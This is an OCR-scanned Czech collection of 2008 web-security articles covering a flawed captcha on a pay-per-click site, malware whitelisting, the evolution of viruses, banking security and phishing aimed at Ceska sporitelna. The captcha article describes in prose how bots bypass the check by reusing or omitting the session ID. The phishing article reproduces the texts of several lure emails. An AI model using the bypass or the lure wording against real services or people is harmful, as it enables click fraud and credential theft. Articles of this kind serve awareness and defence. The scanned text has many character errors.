Cely Clanek i s diskusi je mozné najit na http://www.lupa.cz/clanky/kauza-libimseti-cz-ukazala-ze-nejen-kral-je-
nahy/.

2.8 Nedokonaly captcha systém

Martin Klubal - 19. 8. 2008

obycejného clovéka nez robota, pfesto se stal nedilnou soucasti mnoha formulafii a jen tak z nich v nejblizsi
dobé nezmizi. Pojdme se nyni spolecné podivat na Spatnou implementaci captcha systémd, ktera zpusobuje
Jejich praktickou nefunkcnost.

Zname ji vSichni. Znesnadriuje ndm obcas zivot a vyznat se v ni byva v mnoha pfipadech nemaly ofiSek. Nemam
na mysli Zenu, ale obrazkovy nebo zvukovy kdd zabrariujici botdm v provedeni urCité akce slouzici vyhradné
lidem, tzv. captchu. Cilem ¢lanku, ktery pravé Ctete, neni jiz po nékolikaté fesit oblibenost tohoto zplisobu
ochrany u uzivateld &i UspéSnost botli v prlniku skrz tyto systémy, rad bych v ném ale poukazal na pfipady, kdy
$patna implementace captchy zpUsobi jeji naprostou nefunkénost. Pravé v takovych pfipadech totiz dochazi
k situaci, kdy je jedinym poslanim captchy obtéZovat lidi, pfi€emz boti si s ni hravé poradi.

Mozna si ted fikate, dalsi Clanek o né&jaké sofistikované OCR ¢teCce. Musim vas ale zklamat (nebo potésit),
0 nich dnes fe€ rozhodné nebude. Podivame se na zoubek elegantnéjSimu, ale pfitom ne tak znamému feSeni
a mozna néktefi z vas zjisti, Ze ani jejich captcha systém neni nepristrelny. Zaméfime se na mladymi opévované
a skeptiky zavrhované PPC sluzby zalozené na systému BUX, nebot captcha se stala jejich prioritni a zaroven
jedinou ochranou proti autoclickerim. Byl bych ale velice nerad, kdyby se diskuze pod timto ¢lankem zvrhla
v hadku o smyslu zmifiovanych vydélenych systému, nebot to v prvni fadé neni cilem tohoto ¢lanku a za druhé
se na podobnych systémech da opravdu vydélat nemaly obnos dolard, rozhodné ne ale ruénim klikanim.

BUX je oblibeny webovy systém zaloZeny na principu PPC (Pay Per Click), tedy zptsobu vydélku, pfi kterém je
uzivatel finanéné odménovan za proklik reklamnich odkazu. V riznych Gpravach jej vyuzivaji pfedni PPC servery
zaméfené na tento druh komerce. Vydélky zaloZzené na vySe uvedeném systému (nebo jeho obdoby) se staly
doslova boomem poslednich let, a to pfevazné mezi mladymi lidmi. Jako u kazdého zplsobu mozného
obohaceni, i u PPC se ale postupem Casu nasli lidé, ktefi si chtéli tuto Cinnost usnadnit, nejlépe piné
zautomatizovat, a tak se kratce po vzniku zminénych systému zacaly pfihlaSovaci formulafe opatfovat captcha
obrazky, i kdyz nutno dodat, Ze mnohé PPC aplikace (a tim zdaleka nemyslim jen ty malé) jimi nedisponuiji
dodnes.

Podivate-i se na Zebficky oblibenosti jednotlivych BUX systému, pak se dozvite, Ze nejoblibenéjsim serverem
nabizejicim tento zpUsob vydélku je v soucasnosti bux.to disponuijici nejvétsim poctem reklam a tudiz i uzivateld.
Nevsimejme si nyni skuteCnosti, ze i s jejich captchou by moderni OCR ¢tecka neméla vétsi problém a zaméime
se rovnou na chybnou implementaci zpusobuijici jeji praktickou nefunkénost.
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PfihlaSovani tvofi klasicky formulaf vyZadujici uzivatelské jméno, heslo a kéd zobrazené captchy, celkem bézna
zalezitost. Mimo to nam server pfi vstupu na tuto stranku pfidéli i jedineCny identifikator sezeni PHPSESSID.
Vypliime nyni v8echny Udaje a pfihlasme se. Server nasledné zkontroluje nami zadana data a v pfipadé Uspésné
autentifikace a korektné opsaného captcha kodu jsme vpusténi do systému a do naSeho sezeni je zapsana
informace o platném opsani captcha znakd, jsme tudiZz povazovani za Clovéka a mizeme se s chuti pustit do
vydélavani tvrdé mény. Mozna si ted fikate, Ze jste si niCeho nezvyklého, co by odporovalo bezpefnostnim
pravidlim, nevSimli, a pfesto se tak stalo.

Podivejte se nyni na pfidélena cookies. Zminéna informace o korektnim opsani kddu z captchy nachazejici se
v sezeni totiz neni nijak spjata s pravé pouzitymi pfihlaSovacimi udaji, ty se nachazeji kazda ve vlastnim cookie,
¢ehoz se da samozfejmé snadno zneuzit a boti tak nemilosrdné ¢ini. Stadi totiz pouzit identifikator sezeni
obsahujici informaci o regulémim pfekonani captchy i pro pozdéjsi autentifikaci, a to k libovolnému G¢tu, opisovat
captchu v nasledujicich pfihlaSovacich procesech tak nebude nutné a boti maji doslova zelenou, zatimco lidé se
otrocky trapi pfi opisovani captcha obrazkid. Navic Ize pfi takto nevhodné implementovaném bezpeénostnim
prvku zajit jesté dal a v naSich poZadavcich vedle uZivatelského jména a hesla hashovaném algoritmem MD5
jednoduse identifikator sezeni vibec neodesilat, pak dojde rovnéz k UspéSnému pfihlaSeni, aniz bychom kdy
opisovali jakykoliv kdd z obrazku. Tato chyba je typické pfedevSim pro systémy, kde byla ochrana captchou
implementovana teprve pozdgji a neni tak svazana s procesem piihladovani.

Pokud jste nékdy listovali ve foru PPC servert threadem s palcovym titulkem ,Security”, mozna jste zamackli slzu
nad naivitou majitell a v prvni fadé tvlrcl téchto systém(. Snaha najit sofistikované FeSeni, které by vyreSilo
problém automatickych botd, je jisté chvalyhodna, otdzkou v3ak zistava, zda by nebylo rozumnéjsi prilis
nepfemyslet nad komplikovanymi algoritmy a soustfedit svoji pozornost spiSe na kvalitni 3D captchu svazanou
s pfihlaSovacimi Udaji a pouze jednim procesem autentifikace. PfinejmenSim souCasné technologie, a tudiz
i v8ichni boti, by byli viéi takovému zabezpeceni bezzubé. Pfitom samotna implementace by nezabrala déle nez
nékolik minut a uZivatelé rozdil v podstaté nikterak nepociti.

Schopnosti jednotlivych Internetovych botli se pfimo odvijeji od stupné univerzalnosti, kterym je program
vybaven. Cim &iri okruh vyuziti, tim mens$i stupefi Usp&$nosti a naopak, pficemz v pfipadé botli vybavenych
OCR ¢te€kou to plati dvojnasob. Automatizace v &ele s roboty se navic stava boomem poslednich let, Ize tedy
pfedpokladat, ze se s podobnymi systémy na principu Turingova testu budeme v budoucnosti setkavat jesté
Castgji.

Captcha je vibec zvlastni druh zabezpeceni, navic se u uzivatell netési pfiliSné oblibé, nebot obtéZuje pravé je,
ale pfitom chrani maijitele nabizenych sluzeb. V poslednich mésicich jsme méli moznost slySet postupné
o prolomeni captchy gigantl jako Google ¢i Microsoft a ani nejznaméjSi Internetova penézenka PayPal si
s propracovanou captchou hlavu nelame. Registracni formulaf je opatfen snadno prolomitelnym obrazkem
a v pfipadé alternativniho formuléfe je mozné se zaregistrovat dokonce bez Eteni jakékoliv captchy, ta na
primarnim registranim formulafi tak postrada jakykoliv smysl. Rozhodnete-li se tedy pro zabezpeeni svych
sluzeb formou captchy, vyvarujte se jeji chybné implementaci, kterd vice nez botim znepfijemriuje Zivot
regulérnim uzivatel(m.

Cely Clanek i s diskusi je mozné najit na http://www.lupa.cz/clanky/nedokonaly-captcha-system/.
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2.9 Na pritomnost malwaru bude mozna nutné rezignovat

Pavel Houser — 11. 7. 2008

Hrozici bezpecnostni rizika, viry, botnety ¢i spyware vyvolavaji celou fadu reakci. Jedna z myslenek je pfitom
pomémé nova — prosté se s tim v§im smifit a budovat pro citlivé aplikace takové kanaly, které jiz dopfedu
predpokladaji, Ze uzivateliv pocitac je néjak infikovany. Je to nutné? A na druhou stranu, je to mozné?

Firmy podnikajici v oblasti pocitatové bezpe€nosti v posledni dobé Easto vyjadfuji aZ rezignaci — tedy rezignaci
na dosavadni pfistupy k zabezpeceni, na to, Ze by dokazaly problémy Fesit v plné mife. DAVE DEWALT, vykonny
feditel spole¢nosti McAfee, na zavér experimentu S.P.AM. uvedl: “Myslim, Ze vysledky experimentu ukazuji, Ze
spam spojeny s kybernetickou kriminalitou je ohromny problém, ktery se prosté nechysta vyklidit pole. Otazka uz
nadale nestoji, jak tento problém vyfesit, ale jak ho ufidit, udrZzet v rozumnych mezich."

Opacny zplisob mysleni

Symantec usuzuje, Ze protoze Skodlivého softwaru je dnes vice nez toho prospésného, ma cenu oto€it logiku
a namisto blacklisti pfejit k whitelistdm. Programy se jiz nebudou zakazovat, ale povolovat. PC by se pak
zménilo v néco na zplsob iPhone. Existovala by centraini autorita, jez by musela povolit spusténi libovolného
programu. Samozfejmé, Ze v podnikovych sitich to jiz ¢asto néjak podobné funguje. Na toto téma jsme jiz i na
Lupé psali v souvislosti s tim, Ze mozna kon¢i éra ,otevienych systému“, a to pravé v dusledku rostoucich
bezpecnostnich rizik.

Svét antivirovych definic/signatur sp&je zvolna ke svému konci. Skodlivého kédu je tolik, Ze ani rostouci
hardwarové kapacity a rychlosti zpracovani pofadné nestaci drzet krok s potiebnym ristem pfislusnych tabulek.

Samoziejmé, Ze definice dnes uZ zdaleka nejsou v3e a jisté Ize jejich systém zdokonalit. Jednou z moZnosti je
pfevést ¢im dél vice funkcionality ze systému uzivatelt na servery bezpecnostnich firem, odstranit tedy naroky na
infrastrukturu uZivateli a pfedevSim naroky na administraci. Hostované bezpeénostni feSeni by pak mohlo
pusobit jako jakysi proxy server, ktery by byl odpovédny za veSkerou Internetovou komunikaci.

Nejedna se o nové obavy. Napfiklad ROBIN BLOOR, analytik firmy Hurwitz & Associates, jiz pfed dvéma roky
prohlasil, Ze systém definic Skodlivého kodu bude muset projit zménami. Namisto néj nastoupi systémy fizeni
aplikaci, respektive autentizace softwaru (coz si Ize pfedstavit jako seznamy povolenych programu, nebo jako
povinnost vyslovného povoleni aplikace — asi jako dnes probiha v prohlizeci u akceptovani certifikatu nebo
povoleni prvku ActiveX).

Hrozby jsou realné

Na tomto misté stoji za to ucinit drobnou odboCku: samoziejmé, Ze firmy plsobici v oblasti pocitatové
bezpe€nosti maji logicky zajem sva feSeni prodavat, a tedy i zdlraziiovat, Ze mira nebezpeci stale roste. Vy3e
zminéna tvrzeni patfi ale do trochu jiné kategorie. Konec koncd bezpecnostni firmy sva soucasna feSeni
prodavaji nikoliv Spatné. Gartner uvadi, ze trh s bezpe¢nostnim softwarem rostl meziroéné o 20 % (pofadi na
prvnich tfech mistech podle sou€asnych trzeb je dle Gartneru Symantec, McAfee, TrendMicro). Bezpecnostni
firmy tedy v zasadé nic nenuti vyhlaSovat zménu paradigmatu ¢&i (de facto) sva stavajici feSeni prohladovat za
neuginna.

Nicméné nemusime se zaméfovat pouze na prohlaSeni firem. Profesor Internetového prava JONATHAN
ZITTRAIN v knize The Future of The Internet (jiz jsme se o ni na Lupé zmifiovali ve vySe odkazovaném ¢lanku
uvadi, Ze jiz pocatkem roku 2007 byl zhruba kazdy Ctvrty pocita¢ ¢lenem botnetu a Utoénici navic kazdy mésic
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ovladli zhruba milion pocitacu dalSich. Zittrain mimochodem pifiklada nejvétsi vyznam rozsifeni Sirokopasmového
pfipojeni k Internetu, ¢imz se tato aktivita stala zajimavou pro utoéniky (po€itade v botnetu Ize pak efektivné
vyuzivat, zvlast, kdyZ byvaji pfipojeny podstatné delsi dobu, tj. obvykle jsou pfipojeny vzdy, kdyz jsou spustény).
| na toto téma jsme jiz na Lupé psali v ¢lanku Botnety jsou vSude kolem nas.

Co jsou botnety, jak funguiji a jak zabranit tomu, aby se i va§ poCitaé stal soucasti zloCinecké sité? VSechny
odpovédi najdete v ¢lancich Jak se déla phishing, Botnet: armada phishingovych otrokl a Jak se branit phishingu

V8echna vySe uvedena tvrzeni jsou po pravdé feCeno tak trochu kolovratkem — jisté jsme je slySeli uz mnohokrat.
Nicméné ilustruji situaci, ze které povstava na pohled divné prohlaseni zminéné v Gvodu tohoto ¢lanku. SHLOMO
KRAMER, jeden ze zakladatell CheckPointu a dnes vykonny feditel spoleénosti Imperva, uved! v rozhovoru pro
Casopis SC Magazine (komentari na blogu SCo), Ze malware bude prosté tfeba ,ignorovat‘. Jinak feCeno se
nesnazit pocita¢ vycistit, ale prosté vytvofit takové komunikacni kanaly a aplikace, kterych by se kontaminace
netykala.

Banka provozujici Internetovou sluzbu nedokaze dezinfikovat pocitade uZivatell. Z konkurenénich dlvodl
Internetbanking nabizet musi. Podvody a nésledné soudy kvdli kontaminovanému pocitaci zakaznika si nemuze
dovolit, i kdyby chyba byla tisickrat na strané uZivatele — minimalné by to znamenalo negativni medialni publicitu.
Bance tedy nezbyva nic jiného, nez pfedpokladat, ze uZivateliv pocita je plny vSemoznych potvornosti,
a vytvofit takovy transakéni kanal, kde to nebude vadit (prosté ,zabezpedeny” kanal, néco jako SSL, ale to je jen
velmi hrubé pfirovnani). Mozna, ze takhle néjak budou tedy brzy fungovat i dalSi Internetové aplikace.

Pfece jen ale zbyva je$té jedna otazka: pokud méte poéitac tfeba zapojeny do botnetu nebo se v ném usidlil
néjaky program zaznamenavajici stisky klaves, pak neni moc jasné, jak/zda by tato procedura viibec mohla
fungovat. Jedinou z moznosti se zda pouZiti jesté dalSiho komunikacniho kanalu (ovéfovaci SMS s kédem na
mobilni telefon apod.) nebo néjaka hardwarova autentizace, tfeba biometricka. Je ale samoziejmé mozné, Ze se
pfijde i s néjakym jinym, Cisté Internetovym kanalem, ktery by byl od pocitaCe dostateéné oddéleny, aby infekce
z PC nemohly zasahovat do téchto transakci.

Zittrain, mj. jeden z iniciatorl akce stopbadware.org, je$té dodava, Ze podobny zabezpeCeny kanal je nutny
i proto, ze jinak je malware tézko odliitelny od uZiteCného softwaru. Dejme tomu, ze na poéitaci bézi ICQ nebo
Skype. TéZzko je zakazovat, nicméné jsou znamy chyby v pfislusnych protokolech a nikdy nevite, zda jich jiz
nékdo nezneuzil. Mezi normalnim softwarem a malware je dnes tenka hranice. Zittrain si vzpomina, jak uzival
VNC, byla v ném ale bezpecnostni dira a najednou zjistil, jak se s nim nékdo jiny na jeho pocitaci pretahuje mysi
o kurzor. Musel pocita¢ odpoijit a pfeinstalovat v8e, co pieinstalovat $lo, ale ani pak si nebyl jisty.

Zittrain uvadi i pfiklad sité univerzity amerického ministerstva obrany, ktera byla v roce 2007 napadena Skodlivym
kédem. Pokud po odstaveni server chtéli mit administratofi jistotu, Ze se neplech zbavi, provedli mj. prosté
vyménu (fyzickou) veSkerych notebook, které pouzivali jejich instruktofi. Banka ov§em vyménu veskerych PC
svych zakaznikd kazdy mésic pfece jen provadét nemuze.

PerliCka na zavér. Projekt Stopbadware.org sponzoruje Google a pouzivd se v ném i vyhledavaci projekt
a analyticky nastroj této spoleCnosti. Pfesto se v8ak v ramci posledniho prizkumu ukazalo, Ze jednim
z nejvétSich zdroji malwaru jsou dnes pravé blogy Googlu.

Cely Clanek i s diskusi je mozné najit na http://www.lupa.cz/clanky/na-malware-bude-mozna-nutne-rezignovat/.
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210 Podcitacove viry véera, dnes a zitra: Kdo s koho?

Ondfej Bitto — 24. 6. 2008

Klasické pocitacové viry tu s nami jsou vice nez dvé desitky let, za tu dobu se vyrazné zménily, zaméfily se na
jiné cile a stale o sobé davaji védét. Kam sméfuji, jak se branit a zviadneme to?

Jak jste se mohli docist v nedavno publikované zpravice Jedenact procent uzivatell v EU nepouziva antivir,
pouziva takfka devét z desiti uzivatel antivirovou ochranu. Je dobré, Ze se osvéta i podle statistik rozSifila také
na bézné koncové uzivatele, ktefi se tak nevédomky nestavaji dalSim ¢lankem Sifeni hrozeb. Do jaké miry ale
antivir dokaze ochranit?

Nékomu by se mozZna mohlo zdat, Ze klasické viry jsou na Ustupu. V zasadé je to pravda, nicméné ne tak upiné.
Pokud se na Skodlivy kod podivame detailné, stale jeho velkou Cast tvofi pravé klasické viry, sekunduje jim
spyware, trojské koné a v neposledni fadé také rootkity. Cela tato seSlost zastupct druhé, temné strany barikady
pocitatové bezpecnosti méa stale jedno spole¢né: snazi se $ifit z pocitade na politaC a sbirat tak dalSi ovecky.
Rozdil oproti klasickym virim, jak je zname z devadesatych let, je v tom, Ze namisto destrukce oteviraji vratka
utoénikovi, pfipadné se mu snazi vydélat penize (zjednodusené feceno).

Back to basic... whitelisting

Kde se ale v uZivatelich bere onen pocit bezpeci, ktery je vidét ve vétach typu "Ja antivir nepotfebuju, nikdy jsem
vir nechytl", "Surfuju bezpe¢né" nebo "Staci mi firewall? Podle statistik odkazovanych v Uvodu ¢lanku by se
mohlo jednat sice jen o kazdého desétého uZivatele, i tak ale davaji svij poCitaC zbyte¢né vSanc. Vyjimkou
mohou byt zaryti uzivatelé Linuxu, kde Skodlivy kéd stale neni takovym nebezpeCim, pfipadné uzivatelé
,Schovani za korporatni bezpeénostni barikadou, o jejichz bezpeci se stard nékdo jiny. Ale spiSe se jedna
o0 uzivatele, kterym je jejich bezpecnost ukradena, pouze se pak divi, ze poéitac ,jede néjak pomalu“ a oni pfece
vir nemohli chytnout.

Osobné si myslim, Ze za klasicky $kodlivy kdd bychom uz mohli povazovat snad jen ransomware, ktery nejvice
pfipomina onu starou destrukci tim, Ze data ni¢i. Tedy pfesnéji feCeno Sifruje a pozaduje penize, nicméné
vysledek byva stejny. Kromé specificky cilenych Utok( nebo obcasnych vyjimek potvrzujicich pravidlo tvirci
malwaru opravdu netouzi po destrukci naSich dat, vzdyt pfece pfistup k citlivym informacim, ziskani viady nad
pocitaci nebo kombinace obojiho je tolik Iakava a pfedevsim ziskova.

Sméfovani antivirll jako takovych se tedy vydava cestou kombinované ochrany pfed spywarem, trojskymi koni,
adwarem a také rootkity (byt nastroje byvaji ¢asto poskytovany separatné, ale to spiSe z marketingového
hlediska). Antivir by se tak mél jmenovat antimalware a do budoucna vyuzivat klasického whitelistingu, jak
ostatné potvrzuje nedavné stanovisko spolecnosti Symantec, ktera vydala zpravu, Ze za lofisky rok 65 %
veskerého vyprodukovaného softwaru spadalo do kategorie malwaru a situace se ma nadale zhorSovat:

"V dnesni dobé je jesté stale vétSina antivirovych a jinych bezpecnostnich programi zaloZzena na identifikaci
a blokovani nebezpecnych kbdd. Rapidné se zvySujici pocet Skodlivého kddu vede nase myslenky i aktivity jinym

ostatni pak automaticky zakazovat,” fika RADEK SMOLIK, feditel &eského zastoupeni spoleénosti Symantec.
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Chip tuning auta, odvirovani jako bonus?

Ona paranoidni bezpe¢nostni politika, kterou do sou¢asné doby spravci siti (0 domacich uzivatelich ani nemluvé)
praktikovali pouze velice vyjime¢né, by se tak do budoucna mohla stat vychozim zpisobem zabezpeceni. Je
otazkou, nakolik je tento princip skuteCné realizovatelny a zda se na ném da dostatené flexibilni bezpeénost
opravdu vystavét. Praktické feSeni by snad systém mohl najit jen ve vyjimeCnych pfipadech ve specialnich
firemnich sitich, nicméné vysoka mira ,represe* vici koncovym uzivatelim nepfinasi ovoce. To ostatné ukazalo
i UAC ve Windows Vista, kde se tipy pro jeho vypnuti fadi mezi nejhledangjsi. Holt na uZivatele se (bohuZzel)
nesmi tlacit.

Jak jiz bylo zminéno v dfivéjSich ¢lancich (napf. Mobilni telefony: skryté nebezpeCi budoucnosti? a Prilisna
davéra v USB se vam nemusi vyplatit, UtoCnici a tvirci Skodlivého kddu se stéle vice zaméfuji na pfenosna
zafizeni, a to nejen na notebooky, ale také PDA, chytré telefony s operaénimi systémy Symbian apod. V pfipadé
notebooku je jednim z dlivodu jejich rostouci popularita, lenost uZivatelt pfi zabezpegovani nebo pfipojovani do
nezabezpecenych bezdratovych siti. Opét se v tomto ohledu narazi na lenost a nechut uZivateli cokoliv
konfigurovat, pokud to neni opravdu nezbytné nutné.

Pravé rozsifovani vir( na platformu mobilnich telefoni pohnulo vyrobce k dodavani bezpecnostnich feseni i pro
tato zafizeni, dnes tak neni problém, abyste si pofidili antivir pfimo do mobilu. Re& je samoziejmé
o0 smartphonech, v nichz zabudovany a funkéné piné vybaven operacni systém poskytuje dostatek prostoru pro
nepratelské rejdy. Na druhou stranu ale nutno podotknout, Ze maskovani neni natolik jednoduché jako v pfipadé
klasickych poCitacu, pokus o odeslani kontaktu, rozSifeni se dal v podobé pfilohy apod. stejné vyZaduje potvrzeni
od samotného uzivatele. Nicméné jak historie i ze svéta pocitaCl ukazuje, zpravidla se nejedna o zadnou
nepfekonatelnou prekazku.

Soucasny stav ve svété vir( tedy neni nijak utéSeny, nicméné do budoucna by mohlo byt jesté haF, divodem je
postupné pronikani pocitacli s vestavénymi systémy vSeho druhu do rlznych zafizeni kazdodenniho pouziti.
Pracky, lednicky, auta, nejriznéjSi Fidici systémy, to vSe jsou zafizeni, ktera uz dnes ziskavaji punc nééeho méné
pruhledného, mechaniku nahrazuji chytfejSi obvody, jako by samostatné myslici. A stejné jako se viry z po€itacl
od svého pogatku v osmdesatych letech vyvinuly v rej nejriznéjSich variant a podkategorii, resp. zménily své
zaméfeni, mizeme za dvacet let Fesit, jak odvirovat pracku, lednicku nebo elektroniku v auté. Jak vidite
budoucnost virl a Skodlivého kédu vy? Prispéjte do diskuse pod &lankem a podélte se o své optimistické

i pesimistické vize.

Cely Clanek i s diskusi je moZné najit na http://www.lupa.cz/clanky/pocitacove-viry-vcera-dnes-a-zitra-kdo-s-
koho.
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3 Vybér toho nejzajimaveéjsiho o Internetové bezpecnosti ze serveru Mésec.cz
v roce 2008

3.1 Kulhajici bezpeénost Internetového bankovnictvi

Jifi Dvorék - 22. 1. 2008

Internetové bankovnictvi pfitahuje pozornost nenechavclt a incidenty v oblasti bezpeCnosti informacnich
technologii se stale zdokonaluji. JenZe ani velci bankovni hraci nemayji zcela jasno, co je hlavni prioritou.
Technika neni vSechno

Pfestoze po technické strdnce mé vétdina velkych bank dobfe zabezpecené Internetové bankovnictvi,
bezpeCnost v bankach stale pokulhava. Problém je v malém zajmu nejvy$Siho vedeni. Odpovédnost za
bezpecnostni opatfeni se deleguje na IT zaméstnance finanénich instituci a nejvyssi vedeni bank je stranou. Toto
zjisténi vyplyvd to z prlzkumu poradenské spolecnosti Deloitte, ktery v lofiském roce provedla mezi
nejvyznamng;jSimi finanénimi spolecnostmi, jako jsou ABN Amro, Citibank, Commerzbank, Deutsche Bank, Fortis
Bank, HSBC, ING a Raiffeisenbank.

Tak zvany bezpe€nostni paradox ukazuje obrovsky rozdil mezi povédomim o problému na strané jedné
a chybéjici aktivni podporou pro hledani vhodnych feSeni, na strané druhé.

Anketa
Kdo ma podle vas nejlepsi Internetové bankovnictvi?

= Citibank: 1 %

= Ceska spofitelna: 18 %

= Ceskoslovenska obchodni banka: 9 %
= eBanka+Raiffeisenbank (eKonto): 30 %
= Fjo, druzstevni zalozna: 11 %

= Komercni banka: 5 %

=  mBank: 19 %

= Jina banka/zalozna: 7 %

Odpovédélo 2 280 ¢tenard.
Lidsky faktor jako zradce

Podle zmifiovaného prizkumu maji vice nez dvé tfetiny respondent(i vypracovanou strategii v oblasti informacni
bezpecnosti. Jenze i pfes vSechna bezpeénostni opatieni a vyspélost technicky nelze zabranit lidskému selhani.
Nej¢ast&jsi pfi¢inou vnéjSich naruseni bezpecénosti je stale lidsky faktor. Jde pfitom o vlastni zaméstnance banky,
jeji klienty, tfeti strany a obchodni partnery. Jinymi slovy, na jedné strané banky znaji hlavni bezpe¢nostni
problémy véetné opatfeni, kterd musi pfijmout, aby se zvySila bezpeénost i ochrana soukromych dat. Ale na
strané druhé fada finan€nich instituci stale vaha s realizaci konkrétnich krok(, a to i pfes mnozici se incidenty
naruseni bezpeénosti z posledni doby, jak vnitini tak vnéjsi.

Cesi nejsou imunni
Pokusy o narueni bezpeénosti jiz zdaleka nejsou jen doménou zahrani¢nich firem. | v Ceské republice byly

finanéni instituce pfedmétem externich cilenych Gtokl predevsim na systémy Internetového bankovnictvi. Navic
se vyskytlo i nékolik uspésnych pfipadl, kdy se podafilo UtoCnikim narusit provozni systémy, &i dochazelo
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k manipulaci s klientskymi daty a defraudacemi. To ma za nasledek intenzivni potfebu vénovat se problematice
informacéni bezpecnosti a rizik podvodl. Neni nic hor§iho nez Spatna reputace konkrétni banky nebo obavy
0 bezpecnost Internetového bankovnictvi v celém odvétvi. Nasledky Spatné reputace totiz znané prevysi
naklady na potfebné investice do zabezpe€eni a osvéty.

Podle zpravy Deloitte mezi nejCastéjsi pfipady naru$eni bezpec€nosti zvenéi patfily za poslednich 12 mésicl
utoky na elektronickou postu (57 %). Nemusime chodit daleko, v minulych dnech se opét pokou3eli podvodnici
vylakat bezpecnostni udaje od klientt Ceské spofitelny, bohudik, velmi amatérskou formou.

Vite, co mate v pocitaci?

Co déla bankam nejvétsi starosti v oblasti naruSeni bezpecnosti? Klienti. Pfesnéji jejich zalostné zabezpedené
poCitaCe. Prlzkum identifikoval nasledujici tfi typy nejcastéjSich pokusi o naruSeni bezpecnosti. Jsou to
pocitacové viry a Cervi, dale utoky na systémy elektronické posty v podobé nevyzadané posty a spamu, a také
podvodné techniky k ziskani citlivych udaja jako napf. tzv. phishing a pharming. Ke vSem témto Utokdm dochazi
prostfednictvim pocitacl klientd, ktefi se tak stavaji nevédomymi poskytovateli citlivych informaci a kanaly
vedoucimi do nitra finan¢nich instituci.

Pfijmout zodpovédnost za bezpec€nost pocitadli svych klientd se bankam pfiliS nechce, pfestoze jsou finan¢ni
instituce pravé témito Utoky pfimo ohroZovany. Na otazku, zda by méli nést odpovédnost za zajisténi ochrany
poCitaCl svych klientd, ktefi s nimi komunikuji online, odpovédély dvé tretiny respondentt, Ze nikoliv.

Zaméstnanec jako riziko

OvSem Kklienti bank nejsou jedinymi narusSiteli bezpecnosti. Viysoky poCet naruSeni Ize pfipsat také vlastnim
zaméstnancim. Ti bud umysIné zneuZivaji svou pozici a opravnéni, nebo se neumysiné dopoustéji chyb a omyld,
a to Casto i vlastni hlouposti. Pravé zaméstnanci délaji bankam vazné starosti a jsou uvadéni jako hlavni pfiCina
selhani informaéni bezpecnosti. Tento problém se prohlubuje, pokud banky svym zaméstnancim neposkytuji
Zadné Skoleni v oblasti bezpec€nosti. Podle prizkumu pouze tfetina respondentl uvadi, Ze jejich zaméstnanci
jsou vybaveni nalezitymi dovednostmi, diky kterym mohou pfipadné bezpec¢nostni problémy fesit.

Uit se vnimat nebezpeci

L,Financni instituce jednoznacné vykroCily spravnym smérem, aby tato uskali prekonaly,” uklidiiuje Petr Brich ze
spoleénosti Deloitte. Podle néj je potieba klast diraz na Skoleni v oblasti bezpecnosti a zvySovani povédomi
0 bezpecnostni problematice. Prostfedi bezpec¢nostnich hrozeb se stale vyviji, méni a zdokonaluje a jen v€asna
prevence mUZe zmirnit dopady kradeze identity v prostredi IT.

Je potfeba spolupracovat. Banky by mély byt vstficnéjsi ke klientim a prevzit minimalné moraini odpovédnost za
vzdélani svych uZivatell Internetového bankovnictvi. Stejné tak uzivatelé Internetového bankovnictvi by si méli
vSimat, co se déje v jejich pocitadi. Ani dvefe od vlastniho domu si pfece nikdo neneché jen tak otevfené.

Cely Clanek i sdiskusi je mozné najit na http://www.mesec.cz/clanky/kulhajici-bezpecnost-Internetoveho-
bankovnictvi/.
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3.2 Phishing a rhybaieni: Chytnéte si ¢eskou bankovni rybi¢ku

Dalibor Z. Chvatal - 5. 3. 2008

Podvodné e-maily snazici se vylékat pfihlasovaci Udaje do Internetového bankovnictvi Servis 24 od Ceské
spofitelny v poslednich 14 dnech nabraly na sile. PfestoZe jsou nékteré z nich zpracované velmi amatérsky,
nevyplati se podceriovat jejich nebezpedi.

Béhem poslednich 14 dn0 do redakce MéSce dorazilo 6 riznych e-maild, které se snazily vylakat pfihlaSovaci
Udaje od klientl Ceské spofitelny. Na odkazy uvedené v mailech jsem okamzité kliknul, ale téméF vSechny byly
neaktivni. Viypada to tak spiSe na monitoring situace, nez na cileny utok.

Tii typy podvodnych e-maill

Ol Ceska Spotitelna [xycxns@business24.cz]
Kamu: undisclosed-recipients;
Kapie:

Predmet; Account Review, Customer Satisfaction Survey

Dear Customer,
CONGRATULATIONS I

You have been chosen by Ceska Sporitelna onhine department to take part in our quick and easy reward survey.

In return we will credit 2,000 Ec to your account - Just for your time!

Helping us better understand how our customers feel, benefits everyone.

With the mformation collected we can decide to direct a mumber of changes to improve and expand our online services.
The information you provide us is all non-sensitive and anonymous - Mo part of it is handed down to any third party groups.
Tt will be stored m our secure database for maszmum of 3 days while we process the results of this nationwide survey.

We kundly ask you to spare two minutes of your time m talung part with this urnque offer!

Customer Satisfaction Smvey ==

© Ceskb spofitelna a.s., For public use.

Zprava byla odeslana s dilezitosti: Vysoka,

Qdl: Ceska Sparitelna [notesmegs L@note. cam] Odeslano: 5o 1.3.2008 1|
Komu: undisclosed-recipients:
Kopie:

Predmet: SERVIS 24 Internetbanking!

_ CESKAS
= SRt SPORITELNA

MNeldspésna transakce / Payment Not Successful

Platebni transakce zamitnuta - pokyn vydavatele karty
Transakee byla odmitnuta na zékladé nékterého z uvedenych divadi:

®  Waif kartou neni povoleno prowddet internetove transakce
» Byl prekrogen limit pro internetoveé transakce

e Byl chybn zadan CUC2/CUW2 kad

®  Na WaZem 0o neni dostatek prostfedld

Jdi na; Prehled aktivovanach produktu sluhby SERWIS 24 |
(pro okamBity ndvrat kliknéte ade).

Mynf budete pFesméravdnsa na stranky internetového obchodnika
{pro okamEity ndvrat kliknéte zde).

The payment was declined at issuer's request
Transaction was not successful due to one of the following reasons:

& Your card is not intended for shopping wia Internet
e Limit for Internet transactions was exceeded
& WWrong CWCZ/CYVZE entered
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Dl Ceska Sporitelna [notice@wwm, csas.cz] Oceslano: Ot 4.3.2008
Kamu: @seznam.cz
Kapie:

Pedmet: [CONGRATULATIONS !!] - You have been chasen by our Online Department to take part in our quick and easy service Departament.

CONGRATULATIONS !

Dear Ceska Sporitelna Customer,

You have been chosen by our Online Department 1o take part in our quick and easy service Departament
In return we will credit $50 to your account - Just for your time!

Helping us better understand how our customers feel benefits everyons

Wyith the information collected we can decide to direct a number of changes to improve and expand our
SEMVICE

We kindly ask you to spare two minutes of your time in taking part with this unigue offer by confirming your
information!

SERVICE: $50 Reward Surey
EXPIRATION: March - 10 - 2008

To continue click on the link below:

https:/'www.csas.cz/teward_survey.html?ssl=1

The information you provide us is all non-sensitive and anonymous Mo part of it is handed down to any third
party groups.

